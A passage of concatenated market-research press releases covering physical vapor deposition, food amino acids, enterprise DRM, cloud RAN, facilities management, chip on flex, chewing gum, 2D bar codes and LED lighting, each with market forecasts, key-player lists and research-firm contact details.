to rising growth of several end user industries such as microelectronics and PV cell manufacturing in the region. Emerging economies such as China, India and Japan are centre of attraction due to the rising electronic manufacturing industries in the region, cohesive government policies that are further contributing significantly towards the growth of PVD market. Moreover, the increasing demand in battery storage for small scale solar PV system due to inadequate power infrastructure in India, Japan and China is anticipated to propel the growth of PVD market in near future.North America has been contributing significantly in the growth of global physical vapor deposition market followed by Europe. The growing use of PVD In microelectronics application is expected to boost the market in region. Europe is also expected to witness a promising growth in the market due to the rising demand for solar panel and cohesive government policies. Additionally, the rising demand for durable product employing a metallic coating for increasing life span is also boosting the PVD market in the region.Competitive Insight:Physical Vapor Deposition market leaders include Adeka Corporation, Aixtron SE, Applied materials Inc., ASM International N.V., Buhler AG, HEF USA, IHI Corporation, Jusung Engineering Co. Ltd., Kurt J Lesker Company, Lam Research Corporation, Mustang Vaccum Systems, Oerlikon Balzers, Plasma Therm LLC, Platit AG among others. Other notable players that account for PVD market share include Semicore Equipment Inc., Silfex Inc., Singulus Technologies AG, Tokyo Electron Limited, Ulvac Inc. and Veeco Instruments Inc. among others. In order to stay competitive in the market these players adopt different marketing strategies such as merger, acquisitions, product launch, and geographical expansion so on. For example, in sept 2017, Applied Material Inc. launched E-BEAM technology for display industry which is considered to be effective method to address the root cause of defects in advanced mobile and TV display.MARKET SEGMENTATION:The global physical deposition market is segmented on the basis of types, category and application. By category, the market is segmented on the basis of PVD Services, PVD Equipment and PVD material. Major segments of physical vapor deposition market includes-Global Physical Vapor Deposition Market Research and Analysis, By ApplicationGlobal Physical Vapor Deposition Market Research and Analysis, By CategoryGlobal Physical Vapor Deposition Market Research and Analysis, By TypesTHE REPORT COVERS:Comprehensive research methodology of Global Physical Vapor Deposition marketIn-depth analysis of macro and micro factors influencing the market guided by key recommendations.Analysis of regional regulations and other government policies impacting the Global Physical Vapor Deposition marketInsights about market determinants which are stimulating the Global Physical Vapor Deposition marketDetailed and extensive market segments with regional distribution of researched revenuesExtensive profiles and recent developments of market playersAt OMR we strive to deliver quality reports that are based on a 360 degree analysis of the market factors. We provide qualitative and quantitative analysis of the market. We serve clients from 16 different domains which includes healthcare, biotechnology, chemical, agriculture and information technology. We work to add more to our array of clients, services and products. At the moment OMR provides 4 services:Industry ReportsConsultingCustom ReportsCompany ProfilingOrion Market Research (OMR) is an Indian research company known for its crisp and concise reports.We Analyze Future SimplyCORPORATE OFFICE:Orion Market Research Pvt Ltd116, Shagun ArcadeIndore, Madhya PradeshIndia- 452010Email: info@omrglobal.comPhone No. +91-731-4958007Mobile No. +917803040404
Food Amino Acids Market - Top Scenario, Analysis & Forecast 2017 - 2025

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Global Food Amino Acids Market: OverviewAmino acids are a widely consumed organic compound through its high percentage of use in nutritional supplements, foods, and fertilizers. The healthcare industry also makes a wide array of usage of amino acids through their demand for chiral catalysts, biodegradable plastics, and several drugs.Global Food Amino Acids Market: Key TrendsThe skyrocketing demand by consumers for food products that come with added health benefits is currently propelling the global food amino acids market. A growing number of consumers are leaning towards convenience foods and functional foods that contain supplementary nutrition. The growing demand for processed foods is also boosting the demand for food amino acids within the food and beverages industry. Amino acids such as glutamic acid are in high demand owing to positive research results and a high rate of marketing by key processed food manufacturers. There is currently a much higher use of synthetic amino acids over plant and animal sources, due to the ease of manufacturing and the greater level of purity they can be manufactured at. However, a growing preference by consumers for plant-based foods is likely to boost this segment. The global food amino acids market is being restrained by the negative image generated by certain amino acids, such as monosodium glutamate.Request Sample Copy of the Report @Global Food Amino Acids Market: Market PotentialThe consumption of plant-based amino acids is catching up at a fast pace across the world, thanks to a growing number of vegetarians and vegans that are depending on plant sources for proteins. A large number of common plant-based foods are reasonable sources of amino acids, as research has shown. Although the measurement falls short when compared to animal-based foods, producers are investing heavily in providing strictly plant-based amino acids to the people who are refraining from the consumption of animal products.One of key manufacturers of amino acids in the world, Ajinomoto Co., is taking giant strides towards the provision of functional foods that contain high volumes of amino acids. One of the older ventures of the company is Amino Vital, an energy drink branded by the Japanese company, is finding its way to market shelves in all parts of the world, including Raleigh, where the company recently started production of Amino Vital. In 2016, Ajinomoto Co., had also revealed their Amino Vital Gold product line in Brazil. The product is largely available in most parts of the world online as well.Request TOC of the Report @Global Food Amino Acids Market: Regional OutlookThe global food amino acids market can be segmented on the basis of regions, into North America, Asia Pacific, Europe, and the rest of the world. Among the various regions, Asia Pacific has dominated the overall commutation rate and demand volume in the global food amino acids market over the recent past. Several factors have led to the leading share held by Asia Pacific, including a high population density and a greater proportion of vegetarians. The Asia Pacific regions is expected to continue showing a high level of demand for food amino acids due to an increasing awareness towards functional foods and increasing disposable incomes. The demand for food amino acids is expected to continue increasing at a steady rate in North America and Europe under the growing demand for functional foods.Get Discount @Global Food Amino Acids Market: Competitive AnalysisThe leading players in the global food amino acids market currently include Ajinomoto Co., Inc., Brenntag AG, Kingchem LLC, Kraemer Martin GmbH (Azelis), Kyowa Hakko Kirin Group, Rochem International Inc., Sigma-Aldrich, CJ Corporation, Taiyo International, Prinova Group LLC, Daesang Corporation, Monteloeder S.L., Hugestone Enterprise Co., Ltd., Shaoxing Yamei Biotechnology Co., Ltd, Sunrise Nutrachem Group, Amino GmbH, Qingdao Samin Chemical Co., Ltd., Pangaea Sciences Inc., Pacific Rainbow International, Inc., and Evonik Industries. The competition in the global food amino acids market is expected to remain high over the coming years, owing to an increasing interest shown by consumers for branded functional foods and plant-based protein sources.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Enterprise DRM/Information Rights Management Market - Fasoo, Vitrium, Vaultize Tech, Locklizard, Nextlabs, Seclore, Adobe Systems, Intralinks, Oracle, Microsoft, Dell/EMC, OpenText, Vera Security

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https://www.1marketresearch.com/market-reports/enterprise-drm-information-rights-management-market-125410/

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Global Enterprise DRM/Information Rights Management Market Size, Status and Forecast 2022 provides Market information about top Key Players, Countries, Type and Application. This Industry report also states Company Profile, sales, Enterprise DRM/Information Rights Management Market revenue and price, market share, market growth and gross margin by regions.Top Key Players:FasooVitriumVaultize TechLocklizardNextlabsSecloreAdobe SystemsIntralinksOracleMicrosoftDell/EMCOpenTextVera SecurityEnquiry for buying report @Geographically, this report split global into several key Regions, with, revenue (million USD), market share and growth rate of Enterprise-DRM/Information Rights Management for these regions, from 2012 to 2022 (forecast)United StatesEuropeJapanChinaIndiaSoutheast AsiaThis report provides detailed analysis of worldwide markets for Enterprise DRM/Information Rights Management and provides extensive market forecasts 2017-2022 by region/country and subsectors. It covers the key technological and market trends in the Enterprise DRM/Information Rights Management market and further lays out an analysis of the factors influencing the supply/demand for Enterprise DRM/Information Rights Management , and the opportunities/challenges faced by industry participants. It also acts as an essential tool to companies active across the value chain and to the new entrants by enabling them to capitalize the opportunities and develop business strategies.Browse Report @Global Enterprise DRM/Information Rights Management Market Outlook 2016-2022, has been prepared based on the synthesis, analysis, and interpretation of information about the global Enterprise DRM/Information Rights Management market collected from specialized sources. The report covers key technological developments in the recent times and profiles leading players in the market and analyzes their key strategies. The competitive landscape section of the report provides a clear insight into the market share analysis of key industry players.The report provides separate comprehensive analytics for the North America, Europe, Asia-Pacific, Middle East and Africa and Rest of World. In this sector, global competitive landscape and supply/demand pattern of Enterprise DRM/Information Rights Management industry has been provided.About Us:1MarketResearch is a global business market research providing syndicated research Report, customized research reports, company profiles and industry databases across multiple domains.We provide intellectual, precise and meaningful data at a lightning speed.We host more than 500,000 Industry research products.Contact US:1MarketResearch304, S. Jones Blvd, #3299,Las Vegas, NV - 89107USA : +1 702-425-8599Email : Sales@1MarketResearch.comWeb :
Cloud Radio Access Network Market 2017 CAGR of 21% and Top Leaders: Intel, Agilent Technologies, Huawei Technologies, Ericsson, Hitachi, ZTE, Panasonic, NEC

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https://www.marketresearchfuture.com/reports/cloud-radio-access-network-market-2318

Market Research Future published a research report on Cloud Radio Access Network Market Research Report- Forecast 2022  Market Analysis, Scope, Stake, Progress, Trends and Forecast to 2022.Market Scenario:Cloud Radio Access Network is also known as Centralized Radio Access Network. Radio Access Network is the equipment which connects to the cellular antennas, processes the signals and also send it to the core network. Cloud Radio Access network is an advanced cellular network architecture which provides centralized processing, real time cloud computing and power efficient infrastructure that supports 2G, 3G, 4G, 5G systems and address all the challenges that mobile operators face.The cloud access network architecture comprises of different components namely the baseband unit (BBU), optical transmission network (OTN), and remote radio head (RRH). The base band unit (BBU) is a digital units that implements the base station functions from baseband processing to packet processing. The remote radio head (RRH) performs radio functions such as amplification, analog to digital and digital to analog conversion and frequency conversion. The remote radio head collects frequency signals performs radio functions and then it is transmitted through optical transmission network (OTN).Get Sample of Report @The major drivers for the Cloud Radio Access Network market would be its immense benefits, which are reduced costs, improved energy efficiency, improved spectrum utilization and others. Other important drivers for the cloud radio access network are its ability to pool resources, reuse infrastructure, and simplify network operations and others. Recently it is observed that mobile networks are evolving rapidly with respect to capacity, coverage and new features. The demand for reducing latency, increasing data rates and others can be fulfilled by introducing cloud radio access network architecture. Introduction of cloud network architecture would help operators to meet the demands by use of network virtualization functions and data center processing capabilities in the network.The global Cloud Radio Access Network Market is expected to grow at USD ~14 Billion by 2022, at ~21% of CAGR between 2016 and 2022.Key PlayersThe prominent players in the Cloud Radio Access Network Market are - International Business Machines Corporation (U.S.), Intel (U.S.), Agilent Technologies (U.S.), Alcatel-Lucent S.A. (France), Huawei Technologies Co. Ltd. (China), Ericsson (Sweden), Hitachi, Ltd. (Japan), ZTE Corporation (China), Panasonic Corporation (Japan), NEC Corporation (Japan), Xilinx, Inc. (U.S.) among others.Segments:Cloud Radio Access Network Market by Components: Baseband unit (BBU) Optical transmission network (OTN) Remote radio head (RRH)Cloud Radio Access Network Market by Service Network Service System Integration Customer serviceRegional AnalysisThe regional analysis of Cloud Radio Access Network market is being studied for region such as Asia pacific, Americas, Europe and Rest of the World. Rising popularity of smartphones, tablets and others has driven the market of Cloud Radio Access Network in Asia-Pacific region. Asia-Pacific region is expected to dominate in the cloud radio access network market by the forecast period owing to the increasing investments in the cloud radio access network space. The study reveals that most Asian mobile operators have already working in the R&D phase of cloud radio access network solutions. The Cloud Radio Access Network market is also expected to grow steadily in Europe and Latin America regions over the forecast period.Study Objective of Cloud Radio Access Network Market To provide detailed analysis of the market structure along with forecast of the various segments and sub-segments of the Global Cloud Radio Access Network Market To provide insights about factors affecting the market growth To analyze the Cloud Radio Access Network market based on various factors- price analysis, supply chain analysis, porters five force analysis etc. To provide historical and forecast revenue of the market segments and sub-segments with respect to four main geographies and their countries- North America, Europe, Asia, and Rest of the World (ROW) To provide country level analysis of the market with respect to the current market size and future prospective To provide country level analysis of the market for segment by technology, by type and sub-segments. To provide strategic profiling of key players in the market, comprehensively analyzing their core competencies, and drawing a competitive landscape for the market To track and analyze competitive developments such as joint ventures, strategic alliances, mergers and acquisitions, new product developments, and research and developments in the Global Cloud Radio Access Network Market.Get complete Report @Intended Audience MES (Manufacturing Execution System) MOM (Manufacturing Operations Management) Players Technology Investors Hardware and software manufacturers System Integrators Government Organizations Research/Consultancy firmsAbout Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Media Contact:Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: akash.anand@marketresearchfuture.com
North America Facilities Management Market - Industry Analysis, Size, Share, Growth, Trends and Forecast 2016 - 2024

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"The Report Facilities Management Market - North America Industry Analysis, Size, Share, Growth, Trends and Forecast 2016 - 2024 provides information on pricing, market analysis, shares, forecast, and company profiles for key industry participants. - MarketResearchReports.bizNorth America Facilities Management Market: Scope and MethodologyThe facilities management market report provides an in-depth analysis of the North America facilities management market for the period, 2014  2024; wherein 2015 is the base year and the years from 2016 to 2024 is the forecast period. Data for 2014 has been included as historical information. The report covers all the prevalent trends playing a major role in the growth of the North America facilities management market over the forecast period. It also highlights various drivers, restraints, and opportunities expected to influence the markets growth during the forecast period. The study provides a holistic perspective on market growth in terms of revenue estimates (in US$ Bn), across the North America region. The report provides cross-sectional analysis of the North America facilities management market in terms of market estimates and projections for all the segments. The report also covers profiles of major players, their growth strategies, their market positioning, and the various recent developments, and includes market positioning analysis of key players operating in the facilities management market.View Report @North America Facilities Management Market: SegmentationBased on the services, the market is segmented into the hard services and soft services. The hard services segment is categorized into plumbing, air conditioning maintenance, fire protection systems, mechanical & electrical maintenance and others. Based on soft services, market estimates for following soft services is included within the scope - cleaning and pest control, sterilization, laundry, catering, waste management, security and others. The demand for facilities management services has been further analyzed based on industrial sectors, segmented as - corporate, government & public, health care, manufacturing, residential & educational, retail & commercial and others. With their growing importance, facilities management services are widely adopted by these industries to enhance the quality of core business processes and increase their value The report includes a comprehensive coverage of the underlying economic development factors under the key trend analysis section.The report aims to provide a comprehensive analysis of the facilities management market across the U.S., Canada and Mexico country and includes segment level key trend, key finding analysis, market indicators and market attractiveness by services, industry and country. The report also highlights the competition matrix of the facilities management market, positioning all the major players according to their market position, market share, competitors and segment growth. Porters five forces analysis for the North America facilities management market is also included so as to provide a holistic picture of competitive environment in the country. The report also provides service, industry comparison matrix of the North America facilities management market.Get Sample Copy Of This Report @North America Facilities Management Market: Competitive LandscapeUnder the company profiles section, the report provides an overview of the players operating in the market, the strategies deployed by them to gain competitive advantage, the annual revenue generated by them in the past two or three years, strategy and their relevant business segment revenue. Market share analysis of the North America facilities management market is also include within the scope of the study. The key players profiled in this report include Bilfinger HSG Facility Management GmbH, Cofely, Compass Group PLC, Cresa, LLC, Ecolab USA Inc., GDI Integrated Facility Services, G4S plc, ISS World Services A/S, Mitie Group PLC and Sodexo, Inc.The North America Facilities Management Market has been segmented as follows:North America Facilities Management Market, by ServicesHard ServicesPlumbing, Air Conditioning MaintenanceFire Protection SystemsMechanical and Electrical MaintenanceOthers (Fabric Maintenance, etc.)Soft ServicesCleaning and Pest ControlSterilizationLaundryCateringWaste ManagementSecurityOthers (Administrative Services, etc.)North America Facilities Management Market, by IndustryCorporateGovernment and PublicHealthcareManufacturingResidential and EducationalRetail and CommercialOthersNorth America Facilities Management Market, by CountryThe U.S.CanadaMexicoSend An Enquiry Request @Table of Contents1. Preface1.1. Market Definition and Scope1.2. Market Segmentation1.3. Key Research Objectives1.4. Research Highlights2. Assumptions and Research Methodology3. Executive Summary: North America Facilities Management Market4. Market Overview4.1. Introduction4.1.1. Product Definition4.1.2. Industry Evolution / Developments4.2. Key Market Indicators4.2.1. Key Deals/ Agreements4.2.2. Outsourced and In-house Services Analysis4.2.3. Integrated and Singular Services Analysis4.3. Market Dynamics4.3.1. Drivers4.3.2. Restraints4.3.3. Opportunity4.4. North America Facilities Management Market Analysis4.4.1. Market Revenue Projections (US$ Bn), 2014  20244.5. Porters Five Force Analysis4.6. Market Outlook5. North America Facilities Management Market Analysis and Forecasts, by Service5.1. Introduction & Definition5.2. Key Findings / Developments5.3. Key Trends5.4. Market Size (US$ Bn) Forecast by Service5.4.1. Hard Service, 2014  2024 (US$ Bn)5.4.1.1. Plumbing, Air Conditioning Maintenance5.4.1.2. Fire Protection Systems5.4.1.3. Mechanical and Electrical Maintenance5.4.1.4. Others (Fabric Maintenance, etc.)5.4.2. Soft Services, 2014  2024 (US$ Bn)5.4.2.1. Cleaning and Pest Control5.4.2.1.1. Sterilization5.4.2.2. Laundry5.4.2.3. Catering5.4.2.4. Waste Management5.4.2.5. Security5.4.2.6. Others (Administrative Services, etc.)5.5. Service Comparison Matrix5.6. Market Attractiveness by Service6. North America Facilities Management Market Analysis and Forecasts, by Industry6.1. Introduction & Definition6.2. Key Findings / Developments6.3. Key Trends6.4. Market Size (US$ Bn) Forecast by Industry6.4.1. Corporate, 2014  2024 (US$ Bn)6.4.2. Government and Public Sector, 2014  2024 (US$ Bn)6.4.4. Healthcare, 2014  2024 (US$ Bn)6.4.5. Manufacturing, 2014  2024 (US$ Bn)6.4.6. Residential and Educational Institutes, 2014  2024 (US$ Bn)6.4.7. Retail and Commercial, 2014  2024 (US$ Bn)6.4.8. Others (Sports, Food etc.), 2014  2024 (US$ Bn)About usMarketResearchReports.biz is the most comprehensive collection of market research reports. MarketResearchReports.Biz services are specially designed to save time and money for our clients. We are a one stop solution for all your research needs, our main offerings are syndicated research reports, custom research, subscription access and consulting services. We serve all sizes and types of companies spanning across various industries.State Tower 90 Sate Street, Suite 700 Albany, NY 12207 Tel: +1-518-621-2074 USA: Canada Toll Free: 866-997-4948
Chip On Flex Market Size to Observe Steady Growth By 2017 and Key Players: LGIT, Stemko Group, Flexceed, CWE, Danbond, AKM Industrial, Compunetics

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https://www.marketresearchfuture.com/reports/chip-on-flex-market-2015

Market Research Future published a research report on Global Chip On Flex Market Research Report- Forecast to 2021  Market Analysis, Scope, Stake, Progress, Trends and Forecast to 2021.Market Scenario:Chip-on-Flex refers to the semiconductor assembly technology wherein the microchip or die is directly mounted on and electrically connected to a flexible circuit which is a circuit built on a flexible substrate instead of the usual printed circuit board. The shorter interconnection paths on chip on flex simplifies the process of designing and manufacturing the product and improving its performance. Chip on flex has some important features such as heat sinks, component assembly, penalization, shielding, over molding and graphic overlay among others which makes it more acceptable among end users such as electronic industry, aerospace, defense and others. The major drivers for the growth of this market are increasing need for small and flexible electronics in various applications such as displays, sensors, lighting, biomedical implants, and radio frequency identification among others and the rapid technological advancements which lead to accurate designs and automated production, of flex circuits that helps to eliminate human errors once involved in hand-built wire harnesses. With the use of these flexible circuit board companies ensure the 100% efficiency in the products, due to which level of fault ratio is drastically reduced. Chip on flex helps in reducing the cost, improving operator ergonomics, amplified product quality and testing repeatability.The Global Chip on Flex Market is expected to grow from US ~$1437 Million in 2016 to US~$ 1795 Million by 2021, at an estimated CAGR of 4.43%.The growth of this market can be constrained by the increased cost of raw materials in related industries like the electronic industry along with the wide variety of technology used and the consumer needs changing to efficient, cheaper and powerful consumer electronics and mobile technologies.Get Sample of Report @Segments:The Global Chip On Flex Market has been segmented on the basis of types, applications and verticals. The types of Chip On Flex are one sided Chip On Flex and others. The applications comprises of static and dynamic flexing. The various verticals of Chip On Flex market are military, medical, aerospace, electronics and others.Regional Analysis:The regional analysis of chip on flex market is being studied for areas such as Asia pacific, North America, Europe and rest of the world. Asia pacific is expected to record highest growth rate owing to existence of large number of chip on flex manufacturers in china like Danbond Technology, AKM Industrial, Compass Technology Company and others. Asia pacific will be followed by North America owing to increased adoption of new technologies especially in automobile sector. American depository of shares is also helping in mergers of various organizations to enhance the production capabilities in chip on flex market. Many well established firms such as AKM Industrial, Compunetics and others are increasing their sales area in the Europe region which will lead to the growth of Europe region in chip on flex market.Key Players LGIT corporation (U.S.) Stemko group(Korea) Flexceed(Japan) Chipbond technology corporation(Taiwan) CWE(Taiwan) Danbond technology co. ltd.(China) AKM industrial company ltd.(China) compass technology company limited(Hong Kong) Compunetics(U.S.) Stars microelectronics public company ltd (Thailand)Get complete Report @Key Finding: The Global Chip on Flex Market is expected to reach USD 1795 million by 2021. Europe accounts for the largest market share and is growing with a market share of USD 494 million during forecast period. China accounts highest production capacity in the year 2016 Global Chip on flex is segmented by type that includes single sided COF and Others. Out of which single sided COF captures 94.43% of market share.TABLE OF CONTENTS1 MARKET INTRODUCTION2 RESEARCH METHODOLOGY3 MARKET DYNAMICS4 EXECUTIVE SUMMARY5 MARKET FACTOR ANALYSIS6 GLOBAL CHIP ON FLEX MARKET, BY SEGMENTS7 COMPETITIVE ANALYSISAbout Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.Media Contact:Akash Anand,Market Research FutureOffice No. 528, Amanora ChambersMagarpatta Road, Hadapsar,Pune - 411028Maharashtra, India+1 646 845 9312Email: akash.anand@marketresearchfuture.com
Chewing Gum Market Lucrative Opportunites By 2024

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Chewing gum includes gummy materials such as chicle, flavored, and sweetened. Some of the chewing gum designed to be inflated out of the mouth and are termed as bubble gum. It is consumed globally in different flavors such as watermelon, cinnamon, banana, blue raspberry, lemon, strawberry, apple, cherry and peppermint among others.The Gum market can be segmented into the Bubble Gum, bubble gum sugar free and Chewing gum and Sugar free chewing gum. The market can also be segmented geographically into North America, APAC, Europe and RoW regions.The global Gum market is expected to grow with a single digit CAGR from 2013 to 2019.Gum is consumed worldwide and is more popular among kids. However there is an increase in the consumption of sugar free Gum in developed countries due to various health awareness programs, which fuel the demand of sugar free Gum.Obtain Report Details:The U. S. is the market leader in gum consumption. Innovation by manufactures by introducing a number of flavors, along with different size and shapes in gum is attracting more consumers. The younger generation is the major consumers of candies. Attractive packaging also acts as a major driver of gum market. Large proportion of youth in population in Asia Pacific is expected to drive the consumption of chewing/ bubble gum over the next six years. The population of kids also would drive the consumption of bubble gums in Asia Pacific.Some of the key players in Gum market are Mondelez International Inc, Kraft Foods Inc., Mars Incorporated, Ferndale Confectionery Pty Ltd., Haribo GmbH & Co. Kg, Perfetti Van Melle, The Hershey Company, The Wm. Wrigley Jr. Company, and ZED Candy among others.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions. By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.Make Enquiry @The report has been compiled through extensive primary research (through interviews, surveys, and observations of seasoned analysts) and secondary research (which entails reputable paid sources, trade journals, and industry body databases). The report also features a complete qualitative and quantitative assessment by analyzing data gathered from industry analysts and market participants across key points in the industrys value chain.A separate analysis of prevailing trends in the parent market, macro- and micro-economic indicators, and regulations and mandates is included under the purview of the study. By doing so, the report projects the attractiveness of each major segment over the forecast period.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email:sales@transparencymarketresearch.comWebsite:
2D Bar Code Marketing Market Current Scenario Of Market & Forecast 2016 - 2026

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2D bar code also known as QR (Quick Response) codes are small squares which contains ample amount of data in it, which is accessible by scanning applications in the smart phone. It is capable of storing data vertically as well as horizontally as compared to 1D bar codes. 2D bar codes is used across various industries from manufacturing, logistics, transportation to healthcare, the 2D bar codes are capable of storing datas such as product information, locations, videos and more. With the penetration of smartphones globally and digital marketing doing the rounds, 2D barcodes are widely being used in marketing and advertising as it enables the consumers to view the products information or any sort of other information that the product manufactures wants to convey by just scanning the bar code using smart phone applications. The 2D barcodes can be scanned using optical scanner; it does not require laser scanners to access the data. As this concept is new to the market and considering the digital marketing wave across geographies, the market for 2D bar code Generator will register a promising CAGR over the forecast period.Request Sample:Global 2D Bar Code Generator Market: Drivers & RestraintsThe increasing population of tech-savvy people primarily drives the global 2D bar code Generator market across the globe along with the compatibility of smartphones for scanning the 2D barcodes and the awareness among the people about the product legitimacy. Thus, the adoption of smartphones also attributes to the growth of 2D barcode Generator market. The data storage perquisites of 2D bar codes and the ability of scanning vertically and horizontally as compared to that of 1D barcodes can be considered as one of the factor driving the market for 2D bar code Generator. However, the investments associated with the 2D bar codes and the low awareness about the QR codes among certain age group might pose as a restrain to the 2D bar code Generator market. The integration of 2D bar code Generator in the digital marketing is the most recent trend in the global 2D bar code Generator market.Global Marine Coatings Market: Region-wise OutlookBased on the geographic regions, global 2D bar code Generator market is segmented into seven key market segments namely North America, Latin America, Western Europe, Eastern Europe, Asia Pacific, Japan, and Middle East & Africa. Among the aforementioned regions, Western Europe tops among the 2D bar code Generator market followed by North America. In the North American market, the advertisers and marketers are widely adopting the 2D bar code Generator in the region to enhance their traditional print media. Some of the well-known brands are adopting the 2D bar code Generator for promoting their business, Volkswagen, Morgan Hotel Group to name some. Latin America has a huge mobile penetration, which is comparatively more than the global average and with developments in the mobile market in the region to catch up with the recent trends can be attributed to the growth of 2D bar code Generator in the region. The Asia-Pacific market is expected to grow with a rapid pace among the other regions over the forecast period. India overtook the US to become the second largest user of smartphones in the recent past; this could have a positive effect on the 2D bar code Generator in this region. Overall, the market is expected to highlight a healthy growth over the period of forecast.Some of the major players identified in the global 2D bar code Generator market include Scanbuy Inc., NeoMedia Technologies Inc., Electronic Imaging Materials Inc., Wasp Barcode Technologies, ZIH Corp., Arandell Corporation among others.Browse Our Report:The research report presents a comprehensive assessment of the market and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to categories such as market segments, geographies, types, technology and applications.Persistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance. To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.305 Broadway,7th FloorNew York City, NY 10007United States+1-646-568-7751+1 800-961-0353 (USA-Canada Toll free)Email: sales@persistencemarketresearch.comWebsite:
Global LED Lighting Market Expected To Surpass US$ 100 Billion by the End of Year 2024

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Market Research Hub (MRH) has recently broadcasted a new study to its broad research portfolio, which is titled as Global LED Lighting Market Report 2017 report studies Global LED lighting market is expected to surpass more than US$ 100 Billion by the end of year 2024. The massive transformation of LED lighting from conventional lighting is happening due to advancement of its features like efficiency, durability, Environmental-friendly and cost effectiveness.Request For Free Sample Report:All these features of LED lighting is widely recognized and adopted by household, government organisation, industrial sector and commercial segment. Global LED lighting market is segmented into seven parts by application: Residential application, Office application, Retail/Shop application, Hospitality application, Industrial application, Outdoor application and Architectural application. The market is also categorized by five regions: Europe, North America, Asia, Latin America and Middle East & Africa. Asia is one of important destination for LED lighting market and has captured highest market share in global LED lighting market.Energy Independence and Climate Change Concern of many Countries enforces towards Paradigm Shift with LEDs LightingRising electricity prices, increasing concern over climate change and great desire of countries to be energy independent are propelling global lighting market into highly-efficient LEDs light sources. In most region of the world, the government has taken significant steps to promote LED lighting like banning incandescent bulb and giving subsidies to the LED lighting manufacturers. Many countries procure LED lighting products like street lighting and several others specialized LEDs lighting for the government organization.Decreasing Price of LEDs make it Affordable and Cost-EffectiveGradual decreasing prices of LEDs lighting over last five year has increased the penetration rate of Global LED lighting market to a great extent and further this trend will continue in anticipated year till 2019. The adoption of LED lighting in several applications like residential, office, industrial, architectural, Retail shop and so on has increased and it is expected that LED lighting industry will outperform in anticipated year. The initial cost of LED lighting is comparatively high to the traditional incandescent, energy-efficient light bulbs such as halogen incandescent and compact fluorescent lamps (CFLs). But it cost more cheaper in long-run for example typically use of LED lighting can take 25%-80% less energy than traditional incandescent bulbs, thus saving money and can last 3-25 times longer.Market Research Hub latest study report Global LED Lighting Market & Forecast By Applications (Residential, Office, Retail/Shop, Hospitality, Industrial, Outdoor and Architectural) Regions (Europe, North America, Asia, Latin America, Middle East & Africa, BRIC) Companies (MLS Co Ltd., Philips Lighting, Osram, Cree Inc., Foshan Electrical & Light) provides a detailed and comprehensive insight of the Global LED Lighting Market. This report studies the Global LED lighting market from 7 points.Types of LED Lighting Market Residential LED Lighting Office LED Lighting Retail/Shop LED Lighting Hospitality LED Lighting Industrial LED Lighting Outdoor LED Lighting Architectural LED LightingRegions Covered in the Report Europe North America Asia Latin America Middle East & AfricaBrowse Full Report with TOC:BRIC countries covered in the Report Brazil Russia India ChinaKey Player covered in the Report MLS Co Ltd. Philips Lighting Osram Cree Inc. Foshan Electrical & LightScope of the Report Global LED Lighting Market & Forecast: We have defined global LED lighting market by adding all defined regions. Market historical data taken from 2011 to 2016 and forecast from 2017 to 2024. Global LED Lighting Market Share: Report provides global LED lighting market share by Application, by Region and by Companies. Global LED Lighting Market by Application: We have segmented the LED Lighting market into seven applications which are Residential, Office, Retail/Shop, Industrial, Hospitality, Outdoor and Architectural. Global LED Lighting Market by Region: The report consists of five regions: Europe, North America, Asia, Latin America and Middle East & Africa. LED Lighting Market by BRIC: We have covered LED Market of BRIC countries which are Brazil, Russia, India and China. Public Procurement of LED Lighting by European Countries: It has mentioned several European countries government public procurement of LED lighting via GPP (Green Public Procurement) and several initiatives taken to promote LED lighting. Key Growth Drivers & Challenges: It studies the different factor which helps to grow global LED lighting. We have comprehensively mentioned factors that will hinder the market growth.Key Players Analysis: We have covered five key players and their Global LED revenue. Apart from sales analysis, we have also covered overview of the company and LED latest development trends.Enquire About This Report:About Market Research Hub:Market Research Hub (MRH) is a next-generation reseller of research reports and analysis. MRHs expansive collection of power market research reports has been carefully curated to help key personnel and decision makers across industry verticals to clearly visualize their operating environment and take strategic steps.MRH functions as an integrated platform for the following products and services: Objective and sound market forecasts, qualitative and quantitative analysis, incisive insight into defining industry trends, and market share estimates. Our reputation lies in delivering value and world-class capabilities to our clients.Contact Us90 State Street,Albany, NY 12207,United StatesToll Free: 800-998-4852 (US-Canada)Email: press@marketresearchhub.comWebsite:Read Industry News at -
